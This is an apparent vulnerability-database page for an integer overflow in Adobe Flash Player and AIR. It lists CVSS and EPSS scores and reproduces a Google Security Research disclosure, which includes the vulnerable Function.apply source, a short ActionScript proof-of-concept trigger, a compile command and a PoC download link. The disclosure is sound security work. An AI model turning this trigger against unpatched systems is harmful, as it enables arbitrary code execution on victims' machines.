CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Integer overflow in Adobe Flash Player before 13.0.0.289 and 14.x through 17.x before 17.0.0.188 on Windows and OS X and before 11.2.202.460 on Linux, Adobe AIR before 17.0.0.172, Adobe AIR SDK before 17.0.0.172, and Adobe AIR SDK & Compiler before 17.0.0.172 allows attackers to execute arbitrary code via unspecified vectors.
Category : Numeric Errors Weaknesses in this category are related to improper calculation or conversion of numbers.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
87.56%
–
–
2023-02-26
–
–
86.08%
–
–
2023-03-12
–
–
–
89.9%
–
2023-04-09
–
–
–
90.94%
–
2023-05-14
–
–
–
91.86%
–
2023-07-23
–
–
–
91.86%
–
2023-08-13
–
–
–
91.99%
–
2023-09-17
–
–
–
92.2%
–
2024-01-21
–
–
–
91.94%
–
2024-06-02
–
–
–
91.94%
–
2024-06-02
–
–
–
91.94%
–
2024-07-28
–
–
–
91%
–
2024-09-22
–
–
–
92.14%
–
2024-11-10
–
–
–
90.89%
–
2024-12-22
–
–
–
72.14%
–
2025-01-19
–
–
–
72.14%
–
2025-03-18
–
–
–
–
53.34%
2025-04-13
–
–
–
–
44.63%
2025-04-16
–
–
–
–
53.34%
2025-04-16
–
–
–
–
53.34,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2015-08-18 22h00 +00:00 Author : Google Security Research EDB Verified : Yes
Source: https://code.google.com/p/google-security-research/issues/detail?id=302&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Tracking for: https://code.google.com/p/chromium/issues/detail?id=470837]
VULNERABILITY DETAILS
An integer overflow while calling Function.apply can lead to enter an ActionScript function without correctly validating the supplied arguments.
VERSION
Chrome Version: 41.0.2272.101 stable, Flash 17.0.0.134
Operating System: Win7 x64 SP1
REPRODUCTION CASE
From exec.cpp taken from the Crossbridge sources, available at https://github.com/adobe-flash/crossbridge/blob/master/avmplus/core/exec.cpp
944 // Specialized to be called from Function.apply().
945 Atom BaseExecMgr::apply(MethodEnv* env, Atom thisArg, ArrayObject *a)
946 {
947 int32_t argc = a->getLength();
...
966 // Tail call inhibited by local allocation/deallocation.
967 MMgc::GC::AllocaAutoPtr _atomv;
968 Atom* atomv = (Atom*)avmStackAllocArray(core, _atomv, (argc+1), sizeof(Atom)); //here if argc = 0xFFFFFFFF we get an integer overflow
969 atomv[0] = thisArg;
970 for (int32_t i=0 ; i < argc ; i++ )
971 atomv[i+1] = a->getUintProperty(i);
972 return env->coerceEnter(argc, atomv);
973 }
So the idea is to use the rest argument to get a working poc. For example:
public function myFunc(a0:ByteArray, a1:ByteArray, a2:ByteArray, a3:ByteArray, a4:ByteArray, a5:ByteArray, ... rest) {
try {a0.writeUnsignedInt(0x41414141)}catch (e) {}
try {a1.writeUnsignedInt(0x41414141)}catch (e) {}
try {a2.writeUnsignedInt(0x41414141)}catch (e) {}
try {a3.writeUnsignedInt(0x41414141)}catch (e) {}
try {a4.writeUnsignedInt(0x41414141)}catch (e) {}
}
public function XApplyPoc() {
var a:Array = new Array()
a.length = 0xFFFFFFFF
myFunc.apply(this, a)
}
Compile with mxmlc -target-player 15.0 -swf-version 25 XApplyPoc.as.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37843.zip